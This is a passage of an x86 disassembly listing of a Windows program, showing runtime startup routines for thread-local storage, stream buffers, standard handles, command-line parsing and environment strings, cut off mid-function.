movzx eax, word ptr [ebx]
and eax, 9002h
cmp eax, 2
jz short loc_408EF5
movzx eax, word ptr [ebx]
mov [ebp+var_4], eax
test eax, 8000h
setnz al
and eax, 1
dec eax
and eax, 4000h
add eax, 200h
mov edx, [ebp+var_4]
or edx, eax
mov ax, dx
mov [ebx], ax
or eax, 0FFFFFFFFh
jmp loc_408F92
; ---------------------------------------------------------------------------
loc_408EF5: ; CODE XREF: sub_408EA0+24j
movzx eax, word ptr [ebx]
and eax, 6000h
cmp eax, 6000h
jnz short loc_408F1C
mov eax, [ebx+0Ch]
cmp eax, [ebx+10h]
ja short loc_408F1C
push ebx
call sub_408CA0
pop ecx
test eax, eax
jz short loc_408F1C
or eax, 0FFFFFFFFh
jmp short loc_408F92
; ---------------------------------------------------------------------------
loc_408F1C: ; CODE XREF: sub_408EA0+62j
; sub_408EA0+6Aj ...
test word ptr [ebx], 0C00h
jnz short loc_408F2B
lea eax, [ebx+48h]
cmp eax, [ebx+8]
jz short loc_408F2D
loc_408F2B: ; CODE XREF: sub_408EA0+81j
jmp short loc_408F7F
; ---------------------------------------------------------------------------
loc_408F2D: ; CODE XREF: sub_408EA0+89j
push 200h
call sub_4081A0
pop ecx
mov [ebx+8], eax
test eax, eax
jnz short loc_408F59
lea eax, [ebx+48h]
mov [ebx+8], eax
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebx+8]
inc eax
mov [ebx+0Ch], eax
call sub_407400
jmp short loc_408F7F
; ---------------------------------------------------------------------------
loc_408F59: ; CODE XREF: sub_408EA0+9Dj
or word ptr [ebx], 40h
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebx+8]
add eax, 200h
mov [ebx+0Ch], eax
mov eax, [ebx+8]
mov [ebx+2Ch], eax
mov eax, [ebx+8]
mov [ebx+30h], eax
call sub_407400
loc_408F7F: ; CODE XREF: sub_408EA0:loc_408F2Bj
; sub_408EA0+B7j
mov eax, [ebx+8]
mov [ebx+14h], eax
mov eax, [ebx+0Ch]
mov [ebx+18h], eax
or word ptr [ebx], 6000h
xor eax, eax
loc_408F92: ; CODE XREF: sub_408EA0+14j
; sub_408EA0+50j ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_408EA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408FA0 proc near ; CODE XREF: sub_407760+59p
; sub_409C30+696p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
mov bl, al
mov edx, [esp+4+arg_0]
jmp short loc_408FBB
; ---------------------------------------------------------------------------
loc_408FB1: ; CODE XREF: sub_408FA0+1Dj
cmp [edx], bl
jnz short loc_408FB9
mov eax, edx
jmp short loc_408FC1
; ---------------------------------------------------------------------------
loc_408FB9: ; CODE XREF: sub_408FA0+13j
inc edx
dec ecx
loc_408FBB: ; CODE XREF: sub_408FA0+Fj
test ecx, ecx
jnz short loc_408FB1
xor eax, eax
loc_408FC1: ; CODE XREF: sub_408FA0+17j
pop ebx
retn
sub_408FA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408FD0 proc near ; CODE XREF: sub_407AA0:loc_407AE7p
push ebx
call sub_4086A0
call dword_411DD4 ; TlsAlloc
mov dword_411770, eax
cmp eax, 0FFFFFFFFh
jnz short loc_408FEC
xor eax, eax
jmp short loc_409027
; ---------------------------------------------------------------------------
loc_408FEC: ; CODE XREF: sub_408FD0+16j
push 48h
call sub_4081A0
pop ecx
mov ebx, eax
test eax, eax
jz short loc_40900B
push ebx
mov eax, dword_411770
push eax
call dword_411D98 ; TlsSetValue
test eax, eax
jnz short loc_40900F
loc_40900B: ; CODE XREF: sub_408FD0+28j
xor eax, eax
jmp short loc_409027
; ---------------------------------------------------------------------------
loc_40900F: ; CODE XREF: sub_408FD0+39j
push ebx
call sub_409060
pop ecx
call dword_411DD8 ; GetCurrentThreadId
mov [ebx], eax
or dword ptr [ebx+4], 0FFFFFFFFh
mov eax, 1
loc_409027: ; CODE XREF: sub_408FD0+1Aj
; sub_408FD0+3Dj
pop ebx
retn
sub_408FD0 endp
; ---------------------------------------------------------------------------
align 10h
call sub_4086E0
cmp dword_411770, 0FFFFFFFFh
jz short locret_409054
mov eax, dword_411770
push eax
call dword_411DDC ; TlsFree
or dword_411770, 0FFFFFFFFh
locret_409054: ; CODE XREF: DMN0:0040903Fj
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409060 proc near ; CODE XREF: sub_407910+17p
; sub_408FD0+40p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
mov edx, ebx
mov ecx, 48h
xor eax, eax
push edi
mov edi, edx
rep stosb
pop edi
mov eax, edx
mov dword ptr [ebx+34h], offset dword_4117E4
mov dword ptr [ebx+10h], 1
pop ebx
retn
sub_409060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409090 proc near ; CODE XREF: sub_4079A0+1p sub_4083A0p ...
push ebx
push esi
call dword_411CE8 ; RtlGetLastWin32Error
mov esi, eax
mov eax, dword_411770
push eax
call dword_411DE0 ; TlsGetValue
mov ebx, eax
test eax, eax
jnz short loc_4090E8
push 48h
call sub_4081A0
pop ecx
mov ebx, eax
test eax, eax
jz short loc_4090E0
push ebx
mov eax, dword_411770
push eax
call dword_411D98 ; TlsSetValue
test eax, eax
jz short loc_4090E0
push ebx
call sub_409060
pop ecx
call dword_411DD8 ; GetCurrentThreadId
mov [ebx], eax
or dword ptr [ebx+4], 0FFFFFFFFh
jmp short loc_4090E8
; ---------------------------------------------------------------------------
loc_4090E0: ; CODE XREF: sub_409090+28j
; sub_409090+39j
push 1
call sub_409190
pop ecx
loc_4090E8: ; CODE XREF: sub_409090+1Aj
; sub_409090+4Ej
push esi
call dword_411D14 ; RtlRestoreLastWin32Error
mov eax, ebx
pop esi
pop ebx
retn
sub_409090 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409100 proc near ; CODE XREF: sub_4079A0+28p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp dword_411770, 0FFFFFFFFh
jz short loc_40918C
test ebx, ebx
jnz short loc_409123
mov eax, dword_411770
push eax
call dword_411DE0 ; TlsGetValue
mov ebx, eax
loc_409123: ; CODE XREF: sub_409100+13j
test ebx, ebx
jz short loc_40917E
mov eax, [ebx+20h]
push eax
call sub_4070F0
pop ecx
mov eax, [ebx+24h]
push eax
call sub_4070F0
pop ecx
mov eax, [ebx+28h]
push eax
call sub_4070F0
pop ecx
mov eax, [ebx+2Ch]
push eax
call sub_4070F0
pop ecx
mov eax, [ebx+30h]
push eax
call sub_4070F0
pop ecx
mov eax, [ebx+34h]
cmp eax, offset dword_4117E4
jz short loc_40916D
mov eax, [ebx+34h]
push eax
call sub_4070F0
pop ecx
loc_40916D: ; CODE XREF: sub_409100+61j
mov eax, [ebx+3Ch]
push eax
call sub_4070F0
pop ecx
push ebx
call sub_4070F0
pop ecx
loc_40917E: ; CODE XREF: sub_409100+25j
push 0
mov eax, dword_411770
push eax
call dword_411D98 ; TlsSetValue
loc_40918C: ; CODE XREF: sub_409100+Fj
pop ebx
retn
sub_409100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409190 proc near ; CODE XREF: sub_407870+3Cp
; sub_407870+7Ap ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call dword_411D30 ; ExitProcess
retn
sub_409190 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4091A0 proc near ; CODE XREF: sub_407870+6Ap
; sub_407AA0+F7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov esi, offset dword_411774
jmp short loc_4091F2
; ---------------------------------------------------------------------------
loc_4091AE: ; CODE XREF: sub_4091A0+58j
cmp [esi], ebx
jnz short loc_4091EF
push 1
mov eax, [esi+4]
push eax
call sub_40AD50
add esp, 8
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_4091CE
test edi, edi
jnz short loc_4091D0
loc_4091CE: ; CODE XREF: sub_4091A0+28j
jmp short loc_4091FA
; ---------------------------------------------------------------------------
loc_4091D0: ; CODE XREF: sub_4091A0+2Cj
cmp edi, 1
jz short loc_4091EA
push 0
mov eax, [esi+4]
push eax
call sub_40AD50
add esp, 8
mov eax, [esi+4]
push eax
call edi
pop ecx
loc_4091EA: ; CODE XREF: sub_4091A0+33j
or eax, 0FFFFFFFFh
jmp short loc_409205
; ---------------------------------------------------------------------------
loc_4091EF: ; CODE XREF: sub_4091A0+10j
add esi, 8
loc_4091F2: ; CODE XREF: sub_4091A0+Cj
cmp esi, offset dword_4117C4
jb short loc_4091AE
loc_4091FA: ; CODE XREF: sub_4091A0:loc_4091CEj
mov eax, [esp+0Ch+arg_4]
push eax
call dword_411DE4 ; UnhandledExceptionFilter
loc_409205: ; CODE XREF: sub_4091A0+4Dj
pop edi
pop esi
pop ebx
retn
sub_4091A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409210 proc near ; CODE XREF: sub_407A90+5p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call dword_411D18 ; DeleteFileA
test eax, eax
jnz short loc_409230
call dword_411CE8 ; RtlGetLastWin32Error
push eax
call sub_408240
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_409230: ; CODE XREF: sub_409210+Dj
xor eax, eax
retn
sub_409210 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409240 proc near ; CODE XREF: sub_407AA0+5Fp
push offset dword_412854
call dword_411DE8 ; GetSystemTimeAsFileTime
retn
sub_409240 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
lea eax, [ebp-8]
push eax
call dword_411DE8 ; GetSystemTimeAsFileTime
mov eax, [ebp-8]
mov edx, [ebp-4]
mov ecx, dword_412854
mov ebx, dword_412858
sub eax, ecx
sbb edx, ebx
mov [ebp-8], eax
mov [ebp-4], edx
mov eax, [ebp-8]
mov edx, [ebp-4]
push edx
push eax
push 0
push 2710h
call sub_40AE40
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4092A0 proc near ; CODE XREF: sub_407AA0+64p
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 64h
push ebx
push esi
push edi
push 480h
call sub_4081A0
pop ecx
mov ebx, eax
test eax, eax
jnz short loc_4092C2
push 1
call sub_409190
pop ecx
loc_4092C2: ; CODE XREF: sub_4092A0+18j
mov dword_413988, ebx
mov dword_413A88, 20h
jmp short loc_4092EC
; ---------------------------------------------------------------------------
loc_4092D4: ; CODE XREF: sub_4092A0+58j
mov byte ptr [ebx+4], 0
mov dword ptr [ebx], 0FFFFFFFFh
mov byte ptr [ebx+5], 0Ah
mov dword ptr [ebx+8], 0
add ebx, 24h
loc_4092EC: ; CODE XREF: sub_4092A0+32j
mov eax, dword_413988
add eax, 480h
cmp ebx, eax
jb short loc_4092D4
lea eax, [ebp+var_58]
push eax
call dword_411DA8 ; GetStartupInfoA
cmp [ebp+var_26], 0
jz loc_409412
cmp [ebp+var_24], 0
jz loc_409412
mov eax, [ebp+var_24]
mov eax, [eax]
mov [ebp+var_10], eax
mov eax, [ebp+var_24]
add eax, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_10]
mov edx, [ebp+var_4]
add edx, eax
mov [ebp+var_8], edx
cmp eax, 800h
jle short loc_409343
mov [ebp+var_10], 800h
loc_409343: ; CODE XREF: sub_4092A0+9Aj
mov esi, 1
jmp short loc_40939E
; ---------------------------------------------------------------------------
loc_40934A: ; CODE XREF: sub_4092A0+107j
push 480h
call sub_4081A0
pop ecx
mov ebx, eax
test eax, eax
jnz short loc_409365
mov eax, dword_413A88
mov [ebp+var_10], eax
jmp short loc_4093A9
; ---------------------------------------------------------------------------
loc_409365: ; CODE XREF: sub_4092A0+B9j
mov dword_413988[esi*4], ebx
add dword_413A88, 20h
jmp short loc_40938D
; ---------------------------------------------------------------------------
loc_409375: ; CODE XREF: sub_4092A0+FBj
mov byte ptr [ebx+4], 0
mov dword ptr [ebx], 0FFFFFFFFh
mov byte ptr [ebx+5], 0Ah
mov dword ptr [ebx+8], 0
add ebx, 24h
loc_40938D: ; CODE XREF: sub_4092A0+D3j
mov eax, dword_413988[esi*4]
add eax, 480h
cmp ebx, eax
jb short loc_409375
inc esi
loc_40939E: ; CODE XREF: sub_4092A0+A8j
mov eax, [ebp+var_10]
cmp dword_413A88, eax
jl short loc_40934A
loc_4093A9: ; CODE XREF: sub_4092A0+C3j
xor edi, edi
jmp short loc_40940D
; ---------------------------------------------------------------------------
loc_4093AD: ; CODE XREF: sub_4092A0+170j
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, 0FFFFFFFFh
jz short loc_409400
mov edx, [ebp+var_4]
movzx edx, byte ptr [edx]
test edx, 1
jz short loc_409400
test edx, 8
jnz short loc_4093DA
push eax
call dword_411DEC ; GetFileType
test eax, eax
jz short loc_409400
loc_4093DA: ; CODE XREF: sub_4092A0+12Dj
mov eax, edi
and eax, 1Fh
imul eax, 24h
mov edx, edi
sar edx, 5
mov edx, dword_413988[edx*4]
lea ebx, [edx+eax]
mov eax, [ebp+var_8]
mov eax, [eax]
mov [ebx], eax
mov eax, [ebp+var_4]
mov al, [eax]
mov [ebx+4], al
loc_409400: ; CODE XREF: sub_4092A0+117j
; sub_4092A0+125j ...
inc edi
inc [ebp+var_4]
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
loc_40940D: ; CODE XREF: sub_4092A0+10Bj
cmp edi, [ebp+var_10]
jl short loc_4093AD
loc_409412: ; CODE XREF: sub_4092A0+69j
; sub_4092A0+73j
xor edi, edi
loc_409414: ; CODE XREF: sub_4092A0+23Ej
imul eax, edi, 24h
mov edx, dword_413988
lea ebx, [edx+eax]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz loc_4094D6
mov byte ptr [ebx+4], 81h
test edi, edi
jnz short loc_40943D
mov [ebp+var_5C], 0FFFFFFF6h
jmp short loc_40944E
; ---------------------------------------------------------------------------
loc_40943D: ; CODE XREF: sub_4092A0+192j
cmp edi, 1
setz al
and eax, 1
add eax, 0FFFFFFF4h
mov [ebp+var_5C], eax
loc_40944E: ; CODE XREF: sub_4092A0+19Bj
mov eax, [ebp+var_5C]
push eax
call dword_411CD4 ; GetStdHandle
mov [ebp+var_C], eax
cmp eax, 0FFFFFFFFh
jz short loc_4094D0
mov eax, [ebp+var_C]
push eax
call dword_411DEC ; GetFileType
mov [ebp+var_14], eax
test eax, eax
jz short loc_4094D0
call dword_411D64 ; GetCurrentProcess
mov [ebp+var_64], eax
call dword_411D64 ; GetCurrentProcess
push 2
push 1
push 0
lea edx, [ebp+var_60]
push edx
push eax
mov eax, [ebp+var_C]
push eax
mov eax, [ebp+var_64]
push eax
call dword_411DF0 ; DuplicateHandle
test eax, eax
jz short loc_4094A5
mov eax, [ebp+var_60]
mov [ebp+var_C], eax
loc_4094A5: ; CODE XREF: sub_4092A0+1FDj
mov eax, [ebp+var_C]
mov [ebx], eax
mov eax, [ebp+var_14]
and eax, 0FFh
cmp eax, 2
jnz short loc_4094BD
or byte ptr [ebx+4], 40h
jmp short loc_4094DA
; ---------------------------------------------------------------------------
loc_4094BD: ; CODE XREF: sub_4092A0+215j
mov eax, [ebp+var_14]
and eax, 0FFh
cmp eax, 3
jnz short loc_4094DA
or byte ptr [ebx+4], 8
jmp short loc_4094DA
; ---------------------------------------------------------------------------
loc_4094D0: ; CODE XREF: sub_4092A0+1C0j
; sub_4092A0+1D1j
or byte ptr [ebx+4], 40h
jmp short loc_4094DA
; ---------------------------------------------------------------------------
loc_4094D6: ; CODE XREF: sub_4092A0+186j
or byte ptr [ebx+4], 80h
loc_4094DA: ; CODE XREF: sub_4092A0+21Bj
; sub_4092A0+228j ...
inc edi
cmp edi, 3
jl loc_409414
mov eax, dword_413A88
push eax
call dword_411DF4 ; LockResource
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4092A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebx
push esi
xor ebx, ebx
loc_409504: ; CODE XREF: DMN0:00409557j
cmp dword_413988[ebx*4], 0
jz short loc_409553
mov esi, dword_413988[ebx*4]
jmp short loc_40952A
; ---------------------------------------------------------------------------
loc_409517: ; CODE XREF: DMN0:00409538j
cmp dword ptr [esi+8], 0
jz short loc_409527
lea eax, [esi+0Ch]
push eax
call dword_411DCC ; RtlDeleteCriticalSection
loc_409527: ; CODE XREF: DMN0:0040951Bj
add esi, 24h
loc_40952A: ; CODE XREF: DMN0:00409515j
mov eax, dword_413988[ebx*4]
add eax, 480h
cmp esi, eax
jb short loc_409517
mov eax, dword_413988[ebx*4]
push eax
call sub_4070F0
pop ecx
mov dword_413988[ebx*4], 0
loc_409553: ; CODE XREF: DMN0:0040950Cj
inc ebx
cmp ebx, 40h
jl short loc_409504
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409560 proc near ; CODE XREF: sub_409710+3Fp
; sub_409710+76p
var_9 = byte ptr -9
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push edi
mov ecx, [ebp+arg_8]
mov edx, [ebp+arg_10]
mov dword ptr [edx], 0
mov edx, [ebp+arg_C]
mov dword ptr [edx], 1
mov ebx, [ebp+arg_0]
cmp [ebp+arg_4], 0
jz short loc_409591
mov eax, [ebp+arg_4]
lea edx, [eax+4]
mov [ebp+arg_4], edx
mov [eax], ecx
loc_409591: ; CODE XREF: sub_409560+24j
cmp byte ptr [ebx], 22h
jnz short loc_4095CC
jmp short loc_4095A8
; ---------------------------------------------------------------------------
loc_409598: ; CODE XREF: sub_409560+53j
test ecx, ecx
jz short loc_4095A3
mov eax, ecx
inc ecx
mov dl, [ebx]
mov [eax], dl
loc_4095A3: ; CODE XREF: sub_409560+3Aj
mov eax, [ebp+arg_10]
inc dword ptr [eax]
loc_4095A8: ; CODE XREF: sub_409560+36j
inc ebx
mov eax, ebx
cmp byte ptr [eax], 22h
jz short loc_4095B5
cmp byte ptr [ebx], 0
jnz short loc_409598
loc_4095B5: ; CODE XREF: sub_409560+4Ej
test ecx, ecx
jz short loc_4095BF
mov eax, ecx
inc ecx
mov byte ptr [eax], 0
loc_4095BF: ; CODE XREF: sub_409560+57j
mov eax, [ebp+arg_10]
inc dword ptr [eax]
cmp byte ptr [ebx], 22h
jnz short loc_409604
inc ebx
jmp short loc_409604
; ---------------------------------------------------------------------------
loc_4095CC: ; CODE XREF: sub_409560+34j
; sub_409560+91j
test ecx, ecx
jz short loc_4095D7
mov eax, ecx
inc ecx
mov dl, [ebx]
mov [eax], dl
loc_4095D7: ; CODE XREF: sub_409560+6Ej
mov eax, [ebp+arg_10]
inc dword ptr [eax]
mov eax, ebx
inc ebx
mov al, [eax]
mov [ebp+var_9], al
mov al, [ebp+var_9]
cmp al, 20h
jz short loc_4095F3
test al, al
jz short loc_4095F3
cmp al, 9
jnz short loc_4095CC
loc_4095F3: ; CODE XREF: sub_409560+89j
; sub_409560+8Dj
cmp [ebp+var_9], 0
jnz short loc_4095FC
dec ebx
jmp short loc_409604
; ---------------------------------------------------------------------------
loc_4095FC: ; CODE XREF: sub_409560+97j
test ecx, ecx
jz short loc_409604
mov byte ptr [ecx-1], 0
loc_409604: ; CODE XREF: sub_409560+67j
; sub_409560+6Aj ...
mov [ebp+var_8], 0
loc_40960B: ; CODE XREF: sub_409560+181j
cmp byte ptr [ebx], 0
jz short loc_40961D
jmp short loc_409613
; ---------------------------------------------------------------------------
loc_409612: ; CODE XREF: sub_409560+B7j
; sub_409560+BBj
inc ebx
loc_409613: ; CODE XREF: sub_409560+B0j
mov al, [ebx]
cmp al, 20h
jz short loc_409612
cmp al, 9
jz short loc_409612
loc_40961D: ; CODE XREF: sub_409560+AEj
cmp byte ptr [ebx], 0
jz loc_4096E6
cmp [ebp+arg_4], 0
jz short loc_409637
mov eax, [ebp+arg_4]
lea edx, [eax+4]
mov [ebp+arg_4], edx
mov [eax], ecx
loc_409637: ; CODE XREF: sub_409560+CAj
mov eax, [ebp+arg_C]
inc dword ptr [eax]
loc_40963C: ; CODE XREF: sub_409560+16Dj
mov [ebp+var_4], 1
xor edi, edi
jmp short loc_409649
; ---------------------------------------------------------------------------
loc_409647: ; CODE XREF: sub_409560+ECj
inc ebx
inc edi
loc_409649: ; CODE XREF: sub_409560+E5j
cmp byte ptr [ebx], 5Ch
jz short loc_409647
cmp byte ptr [ebx], 22h
jnz short loc_409699
test edi, 1
jnz short loc_409686
cmp [ebp+var_8], 0
jz short loc_409673
cmp byte ptr [ebx+1], 22h
jnz short loc_40966A
inc ebx
jmp short loc_40967A
; ---------------------------------------------------------------------------
loc_40966A: ; CODE XREF: sub_409560+105j
mov [ebp+var_4], 0
jmp short loc_40967A
; ---------------------------------------------------------------------------
loc_409673: ; CODE XREF: sub_409560+FFj
mov [ebp+var_4], 0
loc_40967A: ; CODE XREF: sub_409560+108j
; sub_409560+111j
xor eax, eax
cmp [ebp+var_8], 0
setz al
mov [ebp+var_8], eax
loc_409686: ; CODE XREF: sub_409560+F9j
shr edi, 1
jmp short loc_409699
; ---------------------------------------------------------------------------
loc_40968A: ; CODE XREF: sub_409560+13Ej
test ecx, ecx
jz short loc_409694
mov eax, ecx
inc ecx
mov byte ptr [eax], 5Ch
loc_409694: ; CODE XREF: sub_409560+12Cj
mov eax, [ebp+arg_10]
inc dword ptr [eax]
loc_409699: ; CODE XREF: sub_409560+F1j
; sub_409560+128j
mov eax, edi
dec edi
test eax, eax
jnz short loc_40968A
mov al, [ebx]
test al, al
jz short loc_4096B4
cmp [ebp+var_8], 0
jnz short loc_4096B6
cmp al, 20h
jz short loc_4096B4
cmp al, 9
jnz short loc_4096B6
loc_4096B4: ; CODE XREF: sub_409560+144j
; sub_409560+14Ej
jmp short loc_4096D2
; ---------------------------------------------------------------------------
loc_4096B6: ; CODE XREF: sub_409560+14Aj
; sub_409560+152j
cmp [ebp+var_4], 0
jz short loc_4096CC
test ecx, ecx
jz short loc_4096C7
mov eax, ecx
inc ecx
mov dl, [ebx]
mov [eax], dl
loc_4096C7: ; CODE XREF: sub_409560+15Ej
mov eax, [ebp+arg_10]
inc dword ptr [eax]
loc_4096CC: ; CODE XREF: sub_409560+15Aj
inc ebx
jmp loc_40963C
; ---------------------------------------------------------------------------
loc_4096D2: ; CODE XREF: sub_409560:loc_4096B4j
test ecx, ecx
jz short loc_4096DC
mov eax, ecx
inc ecx
mov byte ptr [eax], 0
loc_4096DC: ; CODE XREF: sub_409560+174j
mov eax, [ebp+arg_10]
inc dword ptr [eax]
jmp loc_40960B
; ---------------------------------------------------------------------------
loc_4096E6: ; CODE XREF: sub_409560+C0j
cmp [ebp+arg_4], 0
jz short loc_4096FB
mov eax, [ebp+arg_4]
lea edx, [eax+4]
mov [ebp+arg_4], edx
mov dword ptr [eax], 0
loc_4096FB: ; CODE XREF: sub_409560+18Aj
mov eax, [ebp+arg_C]
inc dword ptr [eax]
pop edi
pop ebx
mov esp, ebp
pop ebp
retn
sub_409560 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409710 proc near ; CODE XREF: sub_407AA0+69p
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
call dword_411D90 ; GetCommandLineA
mov esi, eax
cmp byte ptr [esi], 0
jnz short loc_409742
push 104h
lea eax, [ebp+var_10C]
push eax
push 0
call dword_411CDC ; GetModuleFileNameA
lea esi, [ebp+var_10C]
loc_409742: ; CODE XREF: sub_409710+16j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0
push esi
call sub_409560
add esp, 14h
mov eax, [ebp+var_4]
mov edx, [ebp+var_8]
lea eax, [edx+eax*4]
push eax
call sub_4081A0
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_409775
push 1
call sub_409190
pop ecx
loc_409775: ; CODE XREF: sub_409710+5Bj
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [ebx+eax*4]
push eax
push ebx
push esi
call sub_409560
add esp, 14h
mov eax, [ebp+var_4]
dec eax
mov dword_4117C4, eax
mov dword_4117C8, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_409710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4097B0 proc near ; CODE XREF: sub_407AA0+6Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call dword_411DF8 ; GetEnvironmentStrings
mov [ebp+var_8], eax
test eax, eax
jnz short loc_4097CE
mov eax, off_411894
mov [ebp+var_8], eax
loc_4097CE: ; CODE XREF: sub_4097B0+14j
mov [ebp+var_4], 0
mov ebx, [ebp+var_8]
jmp short loc_4097F3
; ---------------------------------------------------------------------------
loc_4097DA: ; CODE XREF: sub_4097B0+46j
mov edx, ebx
or eax, 0FFFFFFFFh
loc_4097DF: ; CODE XREF: sub_4097B0+34j
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_4097DF
lea esi, [eax+1]
cmp byte ptr [ebx], 3Dh
jz short loc_4097F1
add [ebp+var_4], esi
loc_4097F1: ; CODE XREF: sub_4097B0+3Cj
add ebx, esi
loc_4097F3: ; CODE XREF: sub_4097B0+28j
cmp byte ptr [ebx], 0
jnz short loc_4097DA
mov eax, [ebp+var_4]
inc eax
push eax
call sub_4081A0
pop ecx
mov edi, eax
mov dword_4117D0, eax
cmp dword_4117D0, 0
jnz short loc_40981B
push 1
call sub_409190
pop ecx
loc_40981B: ; CODE XREF: sub_4097B0+61j
mov ebx, [ebp+var_8]
jmp short loc_40984A
; ---------------------------------------------------------------------------
loc_409820: ; CODE XREF: sub_4097B0+9Dj
mov edx, ebx
or eax, 0FFFFFFFFh
loc_409825: ; CODE XREF: sub_4097B0+7Aj
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_409825
lea esi, [eax+1]
cmp byte ptr [ebx], 3Dh
jz short loc_409848
mov ecx, edi
mov edx, ebx
push ecx
sub ecx, edx
loc_40983B: ; CODE XREF: sub_4097B0+93j
mov al, [edx]
mov [ecx+edx], al
inc edx
test al, al
jnz short loc_40983B
pop eax
add edi, esi
loc_409848: ; CODE XREF: sub_4097B0+82j
add ebx, esi
loc_40984A: ; CODE XREF: sub_4097B0+6Ej
cmp byte ptr [ebx], 0
jnz short loc_409820
mov byte ptr [edi], 0
mov eax, off_411894
cmp eax, [ebp+var_8]
jz short loc_409866
mov eax, [ebp+var_8]
push eax
call dword_411DFC ; FreeEnvironmentStringsA
loc_409866: ; CODE XREF: sub_4097B0+AAj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4097B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409870 proc near ; CODE XREF: sub_407AA0+A3p
push ebx
call dword_411D90 ; GetCommandLineA
mov ebx, eax
cmp byte ptr [ebx], 22h
jnz short loc_409894
loc_40987E: ; CODE XREF: sub_409870+19j
inc ebx
mov eax, ebx
cmp byte ptr [eax], 22h
jz short loc_40988B
cmp byte ptr [ebx], 0
jnz short loc_40987E
loc_40988B: ; CODE XREF: sub_409870+14j
cmp byte ptr [ebx], 22h
jnz short loc_40989C
inc ebx
jmp short loc_40989C
; ---------------------------------------------------------------------------
loc_409893: ; CODE XREF: sub_409870+27j
inc ebx
loc_409894: ; CODE XREF: sub_409870+Cj
cmp byte ptr [ebx], 20h
ja short loc_409893
jmp short loc_40989C
; ---------------------------------------------------------------------------
loc_40989B: ; CODE XREF: sub_409870+34j
inc ebx
loc_40989C: ; CODE XREF: sub_409870+1Ej
; sub_409870+21j ...
mov al, [ebx]
test al, al
jz short loc_4098A6
cmp al, 20h
jbe short loc_40989B
loc_4098A6: ; CODE XREF: sub_409870+30j
mov eax, ebx
pop ebx
retn
sub_409870 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4098B0 proc near ; CODE XREF: sub_407BD0+21p
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
cmp dword_4117D8, 0
jnz short loc_4098E3
push 1
push 2000h
mov eax, dword_4117DC
push eax
push 0
call dword_411E00 ; VirtualAlloc
mov dword_4117D8, eax
test eax, eax
